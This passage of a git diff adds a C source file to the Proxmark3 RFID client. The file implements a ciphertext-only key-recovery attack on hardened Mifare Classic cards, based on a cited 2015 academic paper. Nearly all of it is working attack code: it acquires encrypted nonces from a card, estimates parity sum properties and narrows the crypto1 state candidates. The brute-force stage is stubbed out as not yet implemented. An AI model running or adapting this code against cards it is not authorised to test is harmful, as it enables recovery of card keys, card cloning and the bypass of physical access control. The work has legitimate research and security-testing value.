+++++++++++++++++++++++++++++++++++++++++++ client/cmdhfmfhard.h | 11 + 2 files changed, 854 insertions(+) create mode 100644 client/cmdhfmfhard.c create mode 100644 client/cmdhfmfhard.h diff --git a/client/cmdhfmfhard.c b/client/cmdhfmfhard.c new file mode 100644 index 00000000..093e13d5 --- /dev/null +++ b/client/cmdhfmfhard.c @@ -0,0 +1,843 @@ +//----------------------------------------------------------------------------- +// Copyright (C) 2015 piwi +// +// This code is licensed to you under the terms of the GNU GPL, version 2 or, +// at your option, any later version. See the LICENSE.txt file for the text of +// the license. +//----------------------------------------------------------------------------- +// Implements a card only attack based on crypto text (encrypted nonces +// received during a nested authentication) only. Unlike other card only +// attacks this doesn't rely on implementation errors but only on the +// inherent weaknesses of the crypto1 cypher. Described in +// Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened +// Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on +// Computer and Communications Security, 2015 +//----------------------------------------------------------------------------- + +#include +#include +#include +#include +#include +#include "proxmark3.h" +#include "cmdmain.h" +#include "ui.h" +#include "util.h" +#include "nonce2key/crapto1.h" + + +typedef struct noncelistentry { + uint32_t nonce_enc; + uint8_t par_enc; + void *next; +} noncelistentry_t; + +typedef struct noncelist { + uint16_t num; + uint16_t Sum; + uint16_t Sum8_guess; + float Sum8_prob; + bool updated; + noncelistentry_t *first; +} noncelist_t; + + +static uint32_t cuid; +static noncelist_t nonces[256]; +static uint16_t first_byte_Sum = 0; +static uint16_t first_byte_num = 0; +static uint8_t best_first_byte; +static uint16_t guessed_Sum8; +static float guessed_Sum8_confidence; + + +typedef enum { + EVEN_STATE = 0, + ODD_STATE = 1 +} odd_even_t; + +#define MAX_PARTIAL_ODD_STATES 248801 // we know from pre-computing. Includes 0xffffffff as End Of List marker +#define MAX_PARTIAL_EVEN_STATES 124401 // dito + +typedef struct { + uint32_t *states; + uint32_t len; + uint32_t *index[256]; +} partial_indexed_statelist_t; + +typedef struct { + uint32_t *states[2]; + uint32_t len[2]; + void* next; +} statelist_t; + + +partial_indexed_statelist_t partial_statelist_odd[17]; +partial_indexed_statelist_t partial_statelist_even[17]; + +statelist_t *candidates = NULL; + + +static int add_nonce(uint32_t nonce_enc, uint8_t par_enc) +{ + uint8_t first_byte = nonce_enc >> 24; + noncelistentry_t *p1 = nonces[first_byte].first; + noncelistentry_t *p2 = NULL; + + if (p1 == NULL) { // first nonce with this 1st byte + first_byte_num++; + first_byte_Sum += parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01); // 1st byte sum property. Note: added XOR 1 + // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n", + // nonce_enc, + // par_enc, + // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01, + // parity((nonce_enc & 0xff000000) | (par_enc & 0x08) | 0x01)); + } + + while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) { + p2 = p1; + p1 = p1->next; + } + + if (p1 == NULL) { // need to add at the end of the list + if (p2 == NULL) { // list is empty yet. Add first entry. + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { // add new entry at end of existing list. + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert. + if (p2 == NULL) { // need to insert at start of list + p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t)); + } else { + p2 = p2->next = malloc(sizeof(noncelistentry_t)); + } + } else { // we have seen this 2nd byte before. Nothing to add or insert. + return (0); + } + + // add or insert new data + p2->next = p1; + p2->nonce_enc = nonce_enc; + p2->par_enc = par_enc; + + nonces[first_byte].num++; + nonces[first_byte].Sum += parity((nonce_enc & 0x00ff0000) | (par_enc & 0x04) | 0x01); // 2nd byte sum property. Note: added XOR 1 + nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte + + return (1); // new nonce added +} + + +static uint16_t SumPropertyOdd(uint32_t odd_state) +{ + uint16_t oddsum = 0; + for (uint16_t j = 0; j < 16; j++) { + uint32_t oddstate = odd_state; + uint16_t part_sum = 0; + for (uint16_t i = 0; i < 5; i++) { + part_sum ^= filter(oddstate); + oddstate = (oddstate << 1) | ((j >> (3-i)) & 0x01) ; + } + oddsum += part_sum; + } + return oddsum; +} + + +static uint16_t SumPropertyEven(uint32_t even_state) +{ + uint16_t evensum = 0; + for (uint16_t j = 0; j < 16; j++) { + uint32_t evenstate = even_state; + uint16_t part_sum = 0; + for (uint16_t i = 0; i < 4; i++) { + evenstate = (evenstate << 1) | ((j >> (3-i)) & 0x01) ; + part_sum ^= filter(evenstate); + } + evensum += part_sum; + } + return evensum; +} + + +static uint16_t SumProperty(struct Crypto1State *s) +{ + uint16_t sum_odd = SumPropertyOdd(s->odd); + uint16_t sum_even = SumPropertyEven(s->even); + return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even); +} + + +static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k) +{ + // for efficient computation we are using the recursive definition + // (K-k+1) * (n-k+1) + // P(X=k) = P(X=k-1) * -------------------- + // k * (N-K-n+k) + // and + // (N-K)*(N-K-1)*...*(N-K-n+1) + // P(X=0) = ----------------------------- + // N*(N-1)*...*(N-n+1) + + if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below + if (k == 0) { + // use logarithms to avoid overflow with huge factorials (double type can only hold 170!) + double log_result = 0.0; + for (int16_t i = N-K; i >= N-K-n+1; i--) { + log_result += log(i); + } + for (int16_t i = N; i >= N-n+1; i--) { + log_result -= log(i); + } + return exp(log_result); + } else { + if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception + double log_result = 0.0; + for (int16_t i = k+1; i <= n; i++) { + log_result += log(i); + } + for (int16_t i = K+1; i <= N; i++) { + log_result -= log(i); + } + return exp(log_result); + } else { // recursion + return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k))); + } + } +} + + +static float sum_probability(uint16_t K, uint16_t n, uint16_t k) +{ + const uint16_t N = 256; + + const float p[257] = { + 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, + 0.02900 }; + + if (k > K || p[K] == 0.0) return 0.0; + + double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k); + double p_S_is_K = p[K]; + double p_T_is_k = 0; + for (uint16_t i = 0; i <= 256; i++) { + if (p[i] != 0.0) { + p_T_is_k += p[i] * p_hypergeometric(N, i, n, k); + } + } + return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k); +} + + +static void Tests() +{ + printf("Tests: Partial Statelist sizes\n"); + for (uint16_t i = 0; i <= 16; i+=2) { + printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist_odd[i].len); + } + for (uint16_t i = 0; i <= 16; i+=2) { + printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist_even[i].len); + } + // printf("Tests: State List Odd [4] content:\n"); + // for (uint32_t i = 0; i < partial_statelist_odd[4].len; i++) { + // printf("State_List_Odd[4][%d] = 0x%08x\n", i, partial_statelist_odd[4].states[i]); + // } + + #define NUM_STATISTICS 100000 + uint64_t statistics[257]; + uint32_t statistics_odd[17]; + uint32_t statistics_even[17]; + struct Crypto1State cs; + time_t time1 = clock(); + + for (uint16_t i = 0; i < 257; i++) { + statistics[i] = 0; + } + for (uint16_t i = 0; i < 17; i++) { + statistics_odd[i] = 0; + statistics_even[i] = 0; + } + + for (uint64_t i = 0; i < NUM_STATISTICS; i++) { + cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff); + cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff); + uint16_t sum_property = SumProperty(&cs); + statistics[sum_property] += 1; + sum_property=SumPropertyEven(cs.even); + statistics_even[sum_property]++; + sum_property=SumPropertyOdd(cs.odd); + statistics_odd[sum_property]++; + if (i%(NUM_STATISTICS/100) == 0) printf("."); + } + + printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC); + for (uint16_t i = 0; i < 257; i++) { + if (statistics[i] != 0) { + printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS); + } + } + for (uint16_t i = 0; i <= 16; i++) { + if (statistics_odd[i] != 0) { + printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS); + } + } + for (uint16_t i = 0; i <= 16; i++) { + if (statistics_odd[i] != 0) { + printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS); + } + } + + printf("Tests: Sum Probabilities based on Partial Sums\n"); + for (uint16_t i = 0; i < 257; i++) { + statistics[i] = 0; + } + uint64_t num_states = 0; + for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) { + for (uint16_t evensum = 0; evensum <= 16; evensum += 2) { + uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum; + statistics[sum] += (uint64_t)partial_statelist_odd[oddsum].len * (1<<4) * partial_statelist_even[evensum].len * (1<<5); + num_states += (uint64_t)partial_statelist_odd[oddsum].len * (1<<4) * partial_statelist_even[evensum].len * (1<<5); + } + } + printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48)); + for (uint16_t i = 0; i < 257; i++) { + if (statistics[i] != 0) { + printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states); + } + } + + printf("\nTests: Hypergeometric Probability for selected parameters\n"); + printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206)); + printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205)); + printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1)); + printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0)); + printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1)); + printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0)); + + struct Crypto1State *pcs; + pcs = crypto1_create(0xffffffffffff); + printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_destroy(pcs); + pcs = crypto1_create(0xa0a1a2a3a4a5); + printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n", + SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff); + crypto1_destroy(pcs); + + } + + +static float estimate_second_byte_sum(uint8_t *best_first_byte, uint16_t *best_Sum8_guess) +{ + float max_prob = 0.0; + for (uint16_t first_byte = 0; first_byte < 256; first_byte++) { + float Sum8_prob = 0.0; + uint16_t Sum8 = 0; + if (nonces[first_byte].updated) { + for (uint16_t sum = 0; sum <= 256; sum++) { + float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum); + if (prob > Sum8_prob) { + Sum8_prob = prob; + Sum8 = sum; + } + } + nonces[first_byte].Sum8_guess = Sum8; + nonces[first_byte].Sum8_prob = Sum8_prob; + nonces[first_byte].updated = false; + } + if (nonces[first_byte].Sum8_prob > max_prob) { + max_prob = nonces[first_byte].Sum8_prob; + *best_first_byte = first_byte; + *best_Sum8_guess = nonces[first_byte].Sum8_guess; + } + } + return max_prob; +} + + +static int read_nonce_file(void) +{ + FILE *fnonces = NULL; + uint8_t trgBlockNo; + uint8_t trgKeyType; + uint8_t read_buf[9]; + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + int total_num_nonces = 0; + + if ((fnonces = fopen("nonces.bin","rb")) == NULL) { + PrintAndLog("Could not open file nonces.bin"); + return 1; + } + + PrintAndLog("Reading nonces from file nonces.bin..."); + if (fread(read_buf, 1, 6, fnonces) == 0) { + PrintAndLog("File reading error."); + fclose(fnonces); + return 1; + } + cuid = bytes_to_num(read_buf, 4); + trgBlockNo = bytes_to_num(read_buf+4, 1); + trgKeyType = bytes_to_num(read_buf+5, 1); + + while (fread(read_buf, 1, 9, fnonces) == 9) { + nt_enc1 = bytes_to_num(read_buf, 4); + nt_enc2 = bytes_to_num(read_buf+4, 4); + par_enc = bytes_to_num(read_buf+8, 1); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); + add_nonce(nt_enc1, par_enc >> 4); + add_nonce(nt_enc2, par_enc & 0x0f); + total_num_nonces += 2; + } + fclose(fnonces); + PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B'); + + return 0; +} + + +int static acquire_nonces(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_write, bool slow) +{ + clock_t time1 = clock(); + bool initialize = true; + bool field_off = false; + bool finished = false; + uint32_t flags = 0; + uint8_t write_buf[9]; + uint32_t total_num_nonces = 0; + uint32_t next_thousand = 1000; + uint32_t total_added_nonces = 0; + FILE *fnonces = NULL; + UsbCommand resp; + + #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough to have guessed Sum(a8) correctly + + clearCommandBuffer(); + + do { + flags = 0; + flags |= initialize ? 0x0001 : 0; + flags |= slow ? 0x0002 : 0; + flags |= field_off ? 0x0004 : 0; + UsbCommand c = {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES, {blockNo + keyType * 0x100, trgBlockNo + trgKeyType * 0x100, flags}}; + memcpy(c.d.asBytes, key, 6); + + SendCommand(&c); + + if (field_off) finished = true; + + if (initialize) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; + if (resp.arg[0]) return resp.arg[0]; // error during nested_hard + + cuid = resp.arg[1]; + // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid); + if (nonce_file_write && fnonces == NULL) { + if ((fnonces = fopen("nonces.bin","wb")) == NULL) { + PrintAndLog("Could not create file nonces.bin"); + return 3; + } + PrintAndLog("Writing acquired nonces to binary file nonces.bin"); + num_to_bytes(cuid, 4, write_buf); + fwrite(write_buf, 1, 4, fnonces); + fwrite(&trgBlockNo, 1, 1, fnonces); + fwrite(&trgKeyType, 1, 1, fnonces); + } + } + + if (!initialize) { + uint32_t nt_enc1, nt_enc2; + uint8_t par_enc; + uint16_t num_acquired_nonces = resp.arg[2]; + uint8_t *bufp = resp.d.asBytes; + for (uint16_t i = 0; i < num_acquired_nonces; i+=2) { + nt_enc1 = bytes_to_num(bufp, 4); + nt_enc2 = bytes_to_num(bufp+4, 4); + par_enc = bytes_to_num(bufp+8, 1); + + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4); + total_added_nonces += add_nonce(nt_enc1, par_enc >> 4); + //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f); + total_added_nonces += add_nonce(nt_enc2, par_enc & 0x0f); + + + if (nonce_file_write) { + fwrite(bufp, 1, 9, fnonces); + } + + bufp += 9; + } + + total_num_nonces += num_acquired_nonces; + } + + if (first_byte_num == 256 ) { + // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum); + float last_confidence = guessed_Sum8_confidence; + uint16_t last_Sum8 = guessed_Sum8; + guessed_Sum8_confidence = estimate_second_byte_sum(&best_first_byte, &guessed_Sum8); + if (guessed_Sum8_confidence > last_confidence || guessed_Sum8 != last_Sum8 || total_num_nonces > next_thousand) { + next_thousand = (total_num_nonces/1000+1) * 1000; + PrintAndLog("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Guessed Sum(a8) = %3d for first nonce byte = 0x%02x, probability for correct guess = %1.2f%%", + total_num_nonces, + total_added_nonces, + guessed_Sum8, + best_first_byte, + guessed_Sum8_confidence*100); + } + if (guessed_Sum8_confidence >= CONFIDENCE_THRESHOLD) { + field_off = true; // switch off field with next SendCommand and then finish + } + } + + if (!initialize) { + if (!WaitForResponseTimeout(CMD_ACK, &resp, 3000)) return 1; + if (resp.arg[0]) return resp.arg[0]; // error during nested_hard + } + + initialize = false; + + } while (!finished); + + + if (nonce_file_write) { + fclose(fnonces); + } + + PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%d nonces/minute)", + total_num_nonces, + ((float)clock()-time1)/CLOCKS_PER_SEC, + total_num_nonces*60*CLOCKS_PER_SEC/(clock()-time1)); + + return 0; +} + + +static int init_partial_statelists(void) +{ + printf("Allocating memory for partial statelists...\n"); + for (uint16_t i = 0; i <= 16; i++) { + partial_statelist_odd[i].len = 0; + if (i % 2) { // partial Sum Properties are even. + partial_statelist_odd[i].states = NULL; + } else { + // 20 Bits are relevant for odd states. Less than a half per Sum is expected + partial_statelist_odd[i].states = malloc(sizeof(uint32_t) << 19); + if (partial_statelist_odd[i].states == NULL) { + PrintAndLog("Cannot allocate enough memory. Aborting"); + return 4; + } + for (uint16_t j = 0; j < 256; j++) { + partial_statelist_odd[i].index[j] = NULL; + } + } + partial_statelist_even[i].len = 0; + if (i % 2) { // partial Sum Properties are even. + partial_statelist_even[i].states = NULL; + } else { + // 19 Bits are relevant for even states. Less than a half per Sum is expected + partial_statelist_even[i].states = malloc(sizeof(uint32_t) << 18); + if (partial_statelist_even[i].states == NULL) { + PrintAndLog("Cannot allocate enough memory. Aborting"); + return 4; + } + for (uint16_t j = 0; j < 256; j++) { + partial_statelist_even[i].index[j] = NULL; + } + } + } + + printf("Generating partial statelists odd...\n"); + uint32_t index = -1; + for (uint32_t oddstate = 0; oddstate < (1 << 20); oddstate++) { + uint16_t odd_sum_property = SumPropertyOdd(oddstate); + uint32_t *p = partial_statelist_odd[odd_sum_property].states; + p += partial_statelist_odd[odd_sum_property].len; + *p = oddstate; + partial_statelist_odd[odd_sum_property].len++; + if ((oddstate & 0x000ff000) != index) { + index = oddstate & 0x000ff000; + } + if (partial_statelist_odd[odd_sum_property].index[index >> 12] == NULL) { + partial_statelist_odd[odd_sum_property].index[index >> 12] = p; + } + } + // add End Of List markers + for (uint16_t i = 0; i <= 16; i += 2) { + uint32_t *p = partial_statelist_odd[i].states; + p += partial_statelist_odd[i].len; + *p = 0xffffffff; + } + + printf("Generating partial statelists even...\n"); + index = -1; + for (uint32_t evenstate = 0; evenstate < (1 << 19); evenstate++) { + uint16_t even_sum_property = SumPropertyEven(evenstate); + uint32_t *p = partial_statelist_even[even_sum_property].states; + p += partial_statelist_even[even_sum_property].len; + *p = evenstate; + partial_statelist_even[even_sum_property].len++; + if ((evenstate & 0x000ff000) != index) { + index = evenstate & 0x000ff000; + } + if (partial_statelist_even[even_sum_property].index[index >> 12] == NULL) { + partial_statelist_even[even_sum_property].index[index >> 12] = p; + } + } + // add End Of List markers + for (uint16_t i = 0; i <= 16; i += 2) { + uint32_t *p = partial_statelist_even[i].states; + p += partial_statelist_even[i].len; + *p = 0xffffffff; + } + + return 0; +} + + +static void add_state(statelist_t *sl, uint32_t state, odd_even_t odd_even) +{ + uint32_t *p; + + p = sl->states[odd_even]; + p += sl->len[odd_even]; + *p = state; + sl->len[odd_even]++; +} + + +uint32_t *find_first_state(uint32_t state, partial_indexed_statelist_t *sl) +{ + uint32_t *p = sl->index[state >> 12]; // first 8 Bits as index + + if (p == NULL) return NULL; + while ((*p & 0x000ffff0) < state) p++; + if (*p == 0xffffffff) return NULL; // reached end of list, no match + if ((*p & 0x000ffff0) == state) return p; // found a match. + return NULL; // no match +} + + +static int add_matching_states(statelist_t *candidates, uint16_t part_sum_a0, uint16_t part_sum_a8, odd_even_t odd_even) +{ + uint32_t worstcase_size = (odd_even==ODD_STATE) ? 1<<24 : 1<<23; + + if (odd_even == ODD_STATE) { + candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); + if (candidates->states[odd_even] == NULL) { + PrintAndLog("Out of memory error.\n"); + return 4; + } + for (uint32_t *p1 = partial_statelist_odd[part_sum_a0].states; *p1 != 0xffffffff; p1++) { + uint32_t *p2 = find_first_state((*p1 << 4) & 0x000ffff0, &partial_statelist_odd[part_sum_a8]); + while (p2 != NULL && ((*p1 << 4) & 0x000ffff0) == (*p2 & 0x000ffff0) && *p2 != 0xffffffff) { + add_state(candidates, (*p1 << 4) | *p2, odd_even); + p2++; + } + p2 = candidates->states[odd_even]; + p2 += candidates->len[odd_even]; + *p2 = 0xffffffff; + } + candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + } else { + candidates->states[odd_even] = (uint32_t *)malloc(sizeof(uint32_t) * worstcase_size); + if (candidates->states[odd_even] == NULL) { + PrintAndLog("Out of memory error.\n"); + return 4; + } + for (uint32_t *p1 = partial_statelist_even[part_sum_a0].states; *p1 != 0xffffffff; p1++) { + uint32_t *p2 = find_first_state((*p1 << 4) & 0x0007fff0, &partial_statelist_even[part_sum_a8]); + while (p2 != NULL && ((*p1 << 4) & 0x0007fff0) == (*p2 & 0x0007fff0) && *p2 != 0xffffffff) { + add_state(candidates, (*p1 << 4) | *p2, odd_even); + p2++; + } + p2 = candidates->states[odd_even]; + p2 += candidates->len[odd_even]; + *p2 = 0xffffffff; + } + candidates->states[odd_even] = realloc(candidates->states[odd_even], sizeof(uint32_t) * (candidates->len[odd_even] + 1)); + } + return 0; +} + + +static statelist_t *add_more_candidates(statelist_t *current_candidates) +{ + statelist_t *new_candidates = NULL; + if (current_candidates == NULL) { + if (candidates == NULL) { + candidates = (statelist_t *)malloc(sizeof(statelist_t)); + } + new_candidates = candidates; + } else { + new_candidates = current_candidates->next = (statelist_t *)malloc(sizeof(statelist_t)); + } + new_candidates->next = NULL; + new_candidates->len[ODD_STATE] = 0; + new_candidates->len[EVEN_STATE] = 0; + new_candidates->states[ODD_STATE] = NULL; + new_candidates->states[EVEN_STATE] = NULL; + return new_candidates; +} + + +static void TestIfKeyExists(uint64_t key) +{ + struct Crypto1State *pcs; + pcs = crypto1_create(key); + crypto1_byte(pcs, (cuid >> 24) ^ best_first_byte, true); + + uint32_t state_odd = pcs->odd & 0x00ffffff; + uint32_t state_even = pcs->even & 0x00ffffff; + printf("searching for key %llx after first byte 0x%02x (state_odd = 0x%06x, state_even = 0x%06x) ...\n", key, best_first_byte, state_odd, state_even); + + for (statelist_t *p = candidates; p != NULL; p = p->next) { + uint32_t *p_odd = p->states[ODD_STATE]; + uint32_t *p_even = p->states[EVEN_STATE]; + while (*p_odd != 0xffffffff) { + if (*p_odd == state_odd) printf("o"); + p_odd++; + } + while (*p_even != 0xffffffff) { + if (*p_even == (state_even & 0x007fffff)) printf("e"); + p_even++; + } + printf("|"); + } + printf("\n"); + crypto1_destroy(pcs); +} + + +static void generate_candidates(uint16_t sum_a0, uint16_t sum_a8) +{ + printf("Generating crypto1 state candidates... \n"); + + statelist_t *current_candidates = NULL; + // estimate maximum candidate states + uint64_t maximum_states = 0; + for (uint16_t sum_odd = 0; sum_odd <= 16; sum_odd += 2) { + for (uint16_t sum_even = 0; sum_even <= 16; sum_even += 2) { + if (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even == sum_a0) { + maximum_states += (uint64_t)partial_statelist_odd[sum_odd].len * (1<<4) * partial_statelist_even[sum_even].len * (1<<5); + } + } + } + printf("Estimated number of possible keys with S(a0) = %d: %lld (2^%1.1f)\n", sum_a0, maximum_states, log(maximum_states)/log(2.0)); + + for (uint16_t p = 0; p <= 16; p += 2) { + for (uint16_t q = 0; q <= 16; q += 2) { + if (p*(16-q) + (16-p)*q == sum_a0) { + printf("Reducing Partial Statelists (p,q) = (%d,%d) with lengths %d, %d\n", + p, q, partial_statelist_odd[p].len, partial_statelist_even[q].len); + for (uint16_t r = 0; r <= 16; r += 2) { + for (uint16_t s = 0; s <= 16; s += 2) { + if (r*(16-s) + (16-r)*s == sum_a8) { + current_candidates = add_more_candidates(current_candidates); + add_matching_states(current_candidates, p, r, ODD_STATE); + printf("Odd state candidates: %d (2^%0.1f)\n", current_candidates->len[ODD_STATE], log(current_candidates->len[ODD_STATE])/log(2)); + add_matching_states(current_candidates, q, s, EVEN_STATE); + printf("Even state candidates: %d (2^%0.1f)\n", current_candidates->len[EVEN_STATE]*2, log(current_candidates->len[EVEN_STATE]*2)/log(2)); + } + } + } + } + } + } + + + maximum_states = 0; + for (statelist_t *sl = candidates; sl != NULL; sl = sl->next) { + maximum_states += (uint64_t)sl->len[ODD_STATE] * sl->len[EVEN_STATE] * 2; + } + printf("Estimated number of possible keys with S(a0) = %d AND S(a8)=%d: %lld (2^%1.1f)\n", sum_a0, sum_a8, maximum_states, log(maximum_states)/log(2.0)); + + TestIfKeyExists(0xffffffffffff); + TestIfKeyExists(0xa0a1a2a3a4a5); + +} + + +int mfnestedhard(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint8_t trgKeyType, bool nonce_file_read, bool nonce_file_write, bool slow) +{ + + // initialize the list of nonces + for (uint16_t i = 0; i < 256; i++) { + nonces[i].num = 0; + nonces[i].Sum = 0; + nonces[i].Sum8_guess = 0; + nonces[i].Sum8_prob = 0.0; + nonces[i].updated = true; + nonces[i].first = NULL; + } + first_byte_num = 0; + first_byte_Sum = 0; + guessed_Sum8 = 0; + best_first_byte = 0; + guessed_Sum8_confidence = 0.0; + + init_partial_statelists(); + + if (nonce_file_read) { // use pre-acquired data from file nonces.bin + if (read_nonce_file() != 0) { + return 3; + } + guessed_Sum8_confidence = estimate_second_byte_sum(&best_first_byte, &guessed_Sum8); + } else { // acquire nonces. + uint16_t is_OK = acquire_nonces(blockNo, keyType, key, trgBlockNo, trgKeyType, nonce_file_write, slow); + if (is_OK != 0) { + return is_OK; + } + } + + Tests(); + + PrintAndLog(""); + PrintAndLog("Sum(a0) = %d", first_byte_Sum); + PrintAndLog("Guess for Sum(a8) = %d for first nonce byte = 0x%02x, n = %d, k = %d, probability for correct guess = %1.0f%%\n", + guessed_Sum8, + best_first_byte, + nonces[best_first_byte].num, + nonces[best_first_byte].Sum, + guessed_Sum8_confidence*100); + + generate_candidates(first_byte_Sum, guessed_Sum8); + + PrintAndLog("Brute force phase not yet implemented"); + + return 0; +} + + diff --git a/client/cmdhfmfhard.h b/client/cmdhfmfhard.h new file 